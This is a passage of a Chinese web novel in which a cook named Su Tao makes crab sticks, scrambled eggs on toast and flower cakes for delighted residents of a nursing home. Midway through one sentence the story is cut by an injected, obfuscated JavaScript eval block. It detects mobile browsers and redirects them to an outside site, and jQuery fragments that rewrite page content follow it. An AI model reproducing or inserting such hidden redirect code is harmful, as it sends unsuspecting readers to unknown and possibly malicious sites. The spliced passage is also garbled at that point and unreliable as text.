老张头刚刚正在吃饭的时候，被味道勾得不行，四处寻找来源，终于找到这个桌上的黑芝麻糊，就是它散发出浓香的味道。 “喏！在那呢，刚做出来的。跟外面冲泡那种黑芝麻糊相比，完全不是一个层次的，小苏这种喝着才有滋味呢！” 老张头连忙起身说了句谢了，迈着步子走到打饭台边，让眉小艺帮忙装了两杯。眉小艺拿出来的纸杯也是提前和苏桃去旁边店里做的，纸杯样式洁白，打印上家家乐养老院的logo，也算是一个统一的标识。 老张头用袋子装了一杯，另一杯直接拿在手里，吸管插进去吸了一口芝麻糊，不由发出一声感叹：“果然，这味道真是太好了！” 这天中午，老人们离开之前都纷纷要带一杯打包的黑芝麻糊走，放在宿舍的床头柜上或桌子上，喝上几口，淡淡的甜味，嗓子都感觉滋润了不少。 下午苏桃休息了一会儿，在宿舍里醒来，还没到做饭的时间。她随便翻了翻手机，看到老爸苏振岳发的在开垦荒地的场景，还真像模像样的。为了防晒，他戴着草帽，衣服袖子挽起来，露出之前健身时候结实的手臂，现在干农活刚好派上了用场。干活累了，坐在地里休息休息，或者举着水杯喝两口。 老爸还知道拍几张九宫格记录生活。她暗暗感慨，老爸看起来也终于有了目标方向。哪怕现在看看远处的地开荒还不到一半，但起码有了方向，有了干劲，生活就总能好起来。 “咚咚咚！”眉小艺来敲门。她的宿舍和苏桃离得很近，所以常常会来找苏桃，和她一起下楼去食堂。 两人步入食堂，苏桃说：“今天晚上要做一份蟹柳滑蛋，小艺，你把我提前做好的蟹柳从冰箱里拿出来吧。” “哇，蟹柳也能自己做？”眉小艺惊讶道。 “是哦。”苏桃说，“用巴沙鱼来做调味，螃蟹要提前处理干净，把蟹肉都挑出来，把蟹肉和巴沙鱼放在一起搅拌，再加入淀粉，原料就做好了。然后就像外面卖的蟹柳一样，用薄膜把它卷成一层一层的。那上面红色的染色部分，用的是红曲米粉，红曲对人体好呢，可以用来防治心脑血管疾病。这样简单的蟹柳就做好了。你入职之前我提前做了一些冻在冰箱里，这样用来做配菜的时候随时拿出来取用就可以了。” 眉小艺感慨：“哇，小苏姐，我以后可以跟你一起做各式各样的什么鱼丸啊、爆汁牛肉丸、亲亲肠什么的，这些小苏姐都能做吗？” 苏桃点点头：“都可以的，咱们自己做的丸子，安全性有保障。” “是啊是啊。”眉小艺说道，“而且味道肯定更好呢！好想尝一尝小苏姐做的蟹柳滑蛋是什么样。” “等待会儿做好了蟹柳滑蛋，你就能知道了。” 蟹柳拿出来解冻，剩下的食材主要就是鸡蛋。不过为了做蟹柳滑蛋，要把整个的蟹柳用手撕成细细的条状。把蛋液打在碗里，调味料加进去后，倒入一些牛奶，这是让味道变得嫩滑的关键。当然，这一道蟹柳滑蛋也少不了一个主要的调料，就是黑胡椒。 起锅烧油，将调好的蛋液和蟹柳一起滑入，鸡蛋要炒到嫩嫩滑滑的状态就要关火，撒上葱花，淋入调好的黑胡椒酱汁，这样蟹柳滑蛋就做好了。 蟹柳滑蛋可以单独吃，也可以搭配吐司一起食用，所以苏桃切好了一片片的吐司，摆在旁边，有需要的可以用它来夹着蟹柳滑蛋吃。 吐司苏桃还特意用黄油煎过，这样，原本白白嫩嫩的吐司两面都染上一层黄黄的色泽，吃起来吐司外酥里嫩，夹着蟹柳滑蛋的滋味又有所不同。 晚饭时间到了，老人李馥阳进入食堂，刚刚拿了两片吐司，吐司还热气腾腾，刚从锅里煎好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770251|173116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。她放入蟹柳滑蛋咬下去，先是酥脆，再是嫩滑，好吃到一口接着一口，根本就没法停下来。吃完了一个吐司她又去拿了一个。 吐司实在太好吃了，她忍不住把自己拍了张吃吐司的照片发到了家庭群里：“哈哈，我在养老院吃好吃的呢！” 看样子心情是大好。正在工作当中的儿子小李看看自己面前摆着的公司餐，如此单调乏味，一盘土豆丝都炒得软趴趴的，好像在水里焖过似的。再瞧瞧老爸在养老院吃的，居然都比自己都好！ 满满一托盘丰盛的荤菜素菜，居然还有吐司夹着蟹柳滑蛋，看上去品相特别棒的样子，光是照片色泽就馋得他不行。说真的，他也想早点退休，住进养老院去了。 刚开始老爸想去养老院，儿子小李还不同意来着，说什么自己能照顾，现在看来，自己照顾的确没有养老院那么好啊：“真好啊，爸！” 儿子小李在群里发了张竖大拇指的表情。没想到老爸回了句：“我看现在好多老人的家属都办了月卡来吃饭呢。你也来吃呀，反正你公司不是也离这儿不远。” “好啊，爸，那我改天过去试试。” 孙胡娇和万斗黄两人注意力没在蟹柳滑蛋上，而是在鲜花饼上。苏桃今天做的甜点居然是孙胡娇最爱的鲜花饼。还记得她第一次吃单位发的鲜花饼，说是从云南空运来的，那一口下去玫瑰香气浓郁，一下子就好像走进了玫瑰园似的。 从那之后，她有事没事儿也想去买鲜花饼尝尝，不过很少有云南本地做的那么好吃就是了。今天小苏也做了鲜花饼，到底会不会那么正宗呢？孙胡娇心里也有些打鼓。毕竟对于鲜花饼，她的口味可是非常刁的。 拿了一只鲜花饼在手里，外面的酥皮一碰就掉。孙胡娇就知道这次应该是对的，鲜花饼还挺正宗，咬下去一口，酥酥脆脆，酥皮一层又一层，在桌子上掉了些渣子。她暗暗想，没想到小苏亲手做的，居然也能酥到这种程度！ 而里面的馅料，一咬下去玫瑰香气沁人心脾，甜而不腻，那股芳香的味道停留在嘴巴里，久久未散。 孙胡娇对对面坐着的万斗黄说：“鲜花饼有一种硬壳的我不爱吃，就喜欢吃这样很多层、每层都很轻薄的皮的，就好像包裹馅儿料的是花瓣层一样。” 万斗黄也咬了一口，他还真没吃过鲜花饼，别的馅儿料的点心都吃过，什么黑芝麻馅儿、核桃馅儿、枣泥馅儿的，但这以花瓣儿做馅儿，他听说过，不过因为以前不太爱吃甜食，也就不怎么注意。这次一吃，简直惊为天人：“这鲜花饼我能多拿一些吗？我想回家一趟，带给我小孙女吃。” “你问问小苏吧，如果她做的多的话，有可能能带回去的。” “是啊，这样好的东西真想分享给家人。我家小孙女特别爱吃甜食，尤其这鲜花饼，她尝了肯定喜欢！”